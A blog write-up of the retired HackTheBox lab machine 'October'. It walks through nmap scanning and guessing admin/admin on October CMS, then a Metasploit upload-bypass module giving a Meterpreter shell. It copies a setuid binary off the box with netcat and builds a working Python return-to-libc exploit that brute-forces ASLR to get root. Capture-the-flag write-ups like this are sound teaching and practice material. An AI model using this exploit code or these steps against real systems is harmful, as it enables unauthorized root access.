HackTheBox October Buffer Overflow ASLR Bypass - with Metasploit

Ari Kalfus | Aug 14, 2020 min read

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.


Difficulty: Medium

Machine IP:

The port scan identifies a web server as the sole vector.

sudo nmap -sS -T4 -p-

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for
Host is up (0.017s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds
sudo nmap -sS -T4 -A -p 22,80

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for
Host is up (0.020s latency).

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS                                                                                              
1   26.69 ms                                                                                           
2   26.69 ms

The web server has some kind of explicit sleep and takes a long time to respond to requests. This makes directory enumeration difficult. I run a smaller wordlist and after about 20 minutes, I have the following content so far.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        30s
2020/06/28 11:39:53 Starting gobuster
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)

I can start looking into these endpoints while I let that run in the background. From the initial content, I can see this is running October CMS (box name is a giveaway as well). reveals a login form. I guess admin / admin and find that these credentials are correct.

searchsploit shows that there is a Metasploit module that exploits an authenticated session.

searchsploit october

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)              | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                  | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                                    | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting                 | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                           | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery                     | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

I go ahead and use the exploit/multi/http/october_upload_bypass_exec module in Metasploit to get a user shell as the www-data user.

msf5 exploit(multi/http/october_upload_bypass_exec) > run

[*] Started reverse TCP handler on 
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5

meterpreter >

I can get the user flag. From here I upload Linux Smart Enumeration (LSE) to the target and execute it to enumerate the system.

www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less

The most interesting item is that a setuid binary exists on the system that www-data can execute.

[!] fst020 Uncommon setuid binaries........................................ yes!

LSE is a great enumeration script. A setuid binary is an executable with the SUID bit set. This means that the file is executed with the privileges of the file owner, regardless of the user that executes the file. Given that root owns the /usr/local/bin/ovrflw file, this means that if I can get the ovrflw binary to somehow execute a shell, the shell will spawn as the root user.

Given the name of the file, I assume that this will require a buffer overflow. Indeed, I can verify that an overflow vulnerability exists by passing a large input.

www-data@october:/tmp$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>

Segmentation fault (core dumped)

I got a segmentation fault. Time to copy down this binary onto my machine and get it prepped for buffer overflow analysis.

On my machine, I set up netcat to listen for data and output it to a file.

artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw

Since nc is present on the target, I can transfer the file with the following command.

www-data@october:/tmp$ nc -w 5 999 < /usr/local/bin/ovrflw
nc -w 5 999 < /usr/local/bin/ovrflw

I use md5sum to verify that the local file I have is the same as on the server.

artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw 
0e531949d891fd56a2ead07610cc5ded  ovrflw

www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded  /usr/local/bin/ovrflw

I also need to check the architecture of the target system. This is a 32-bit machine running Ubuntu 14.04.

www-data@october:/tmp$ uname -a
uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release

Since I want to match the target as closely as possible when developing the buffer overflow, I’ll use an Ubuntu 14.04 image. The closest I could get was https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso, which is pretty close. I spin that up in VMWare and begin installing. You can use Virtualbox, but I feel that Virtualbox VM performance is significantly worse than VMWare. There is also ubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627 under public community AMIs on AWS, so you can try that out.

In the VMWare VM, which takes about 5 minutes to install, I set up gdb and PEDA. PEDA is Python Exploit Development Assistance for GDB. It’s a beneficial complement on top of gdb.

sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

I copy my binary over to this test VM.

artis3n@ubuntu:~/Desktop$ wget

--2020-06-28 10:26:29--
Connecting to ^C
artis3n@ubuntu:~/Desktop$ wget
--2020-06-28 10:27:20--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’

100%[============================================================>] 7,377       --.-K/s   in 0.001s  

2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]

artis3n@ubuntu:~/Desktop$ ls -l

total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw

Now I start my analysis.

gdb ./ovrflw
> b main
> run

This view of the registers and memory addresses comes from PEDA.

gdb peda

I can check the security flags compiled into the binary with PEDA’s checksec command.


NX is enabled, but I don’t really care about that. I should also check whether ASLR is enabled on the target machine.

On the target, I get libc’s memory address (0xb7565000) with:

www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)

I see that repeated invocations of ldd /usr/local/bin/overflw show that libc’s memory address changes every time.

www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc    
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)

This means that ASLR is enabled. This means I cannot rely on grabbing static memory addresses from the target system for a return-to-libc attack, because the memory addresses will be different each time.

For the meantime on my test VM, I disable ASLR to get a basic buffer overflow exploit working. I will have to modify it to bypass ASLR, but one step at a time. To disable ASLR, you have to su to root and run the following command:

artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space

On the test VM, I can now see that ASLR is disabled, as the libc memory address does not change.

artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)

On my Kali host, I generate a pattern to find the buffer offset. This will tell me how many bytes of data I need to pad my exploit with to fill the executable’s buffer.

artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200

In the test VM, I use this pattern as input to the program while running in gdb to find the snippet of the pattern in memory when the application crashes. Yes, I will have to keep jumping between hosts throughout these commands. Double check what host I have bolded!

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()

It looks like 0x64413764 was the data that caused the program to crash.

Back on the Kali host, I run this hex code through pattern_offset to find the exact number of offset bytes: 112.

artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112

On the test VM, with ASLR disabled, I can construct a buffer overflow exploit with the following setup. I need the memory addresses of the system calls system and exit, and the memory address of /bin/sh. This will let me construct a return-to-libc attack. I explain this in more detail in my HTB Frolic writeup.

I get the memory address of system - 0xb7e53310.

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>

I did not copy the p exit command and result, but you would repeat the above for exit instead of system.

I get the memory address of /bin/sh - 0xb7f75d4c

gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")

With these, I can create the following (ASLR disabled) exploit.

#!/usr/bin/env python

import struct

buffersled = "A"*112

libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)

payload = buffersled + system + exit + binsh

print payload

If I pass this program’s execution as input to the ovrflw binary on the test VM, I get a root shell.

./ovrflw $(python exploit.py)

However, this is only with ASLR disabled. With a working base exploit, I can now re-enable ASLR to continue developing my exploit.

artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n: 
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space 

With ASLR re-enabled, libc’s memory address again changes every time.

artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)


Inspecting this output, I notice that the memory addresses stay relatively the same. They generally all begin with 0xb75, some with 0xb76. They all end in 000. Really, only the two bytes in the middle are changing each time. This means there are 512 possibilities for libc’s address in each invocation. In other words, I have a 1/512 chance of guessing libc’s memory address each time I invoke the executable. If I exploit the binary 513 times, there is an extremely high chance that I will see one of these addresses again. In fact, due to the birthday paradox, I only need about 30 guesses to get over 50% probability that I’ll correctly guess libc’s memory address.

birthday paradox calculation


I can use the first memory address in the above list, 0xb75b9000, and brute force the payload until I get a shell. Note that this only works because we can crash this program as many times as we need without breaking the server.

So, now I need to gather memory addresses from the target system instead of my test VM.

I get libc’s memory address on the target - 0xb755c000:

www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc  
ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)

Now I need the memory offsets of system, exit, and /bin/sh from the relative location of the memory address of libc. This allows these three memory addresses to be correct as long as we guess the correct libc address during any execution. We get these memory offsets with readelf on the /lib/i386-linux-gnu/libc.so.6 library, as that is in the result of the previous libc memory address command.

The system@@GLIBC_2.0 address is 0x00040310.

www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy 
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

The exit@@GLIBC_2.0 address is 0x00033260.

www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex 
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  1836: 000b84f4    24 FUNC    WEAK   DEFAULT   12 _Exit@@GLIBC_2.1.1
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

Since /bin/sh is not a system call like system and exit, I cannot use readelf to get its memory offset. Instead, I can just use strings against the libc library.

www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi 
 162bac /bin/sh

The /bin/sh memory address is 0x00162bac.

Now I create my final payload. This script will run my exploit a maximum of 512 times.

#!/usr/bin/env python

from subprocess import call
import struct

buffersled = "A"*112

libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)

payload = buffersled + system + exit + binsh

i = 0
while (i < 512):
    print("Try %s" % i)
    i += 1
    ret = call(["/usr/local/bin/ovrflw", payload])

I upload this payload to the target machine and execute it. Within a few seconds I have a root shell!

Overflow root shell

I am off to grab the root flag.

comments powered by Disqus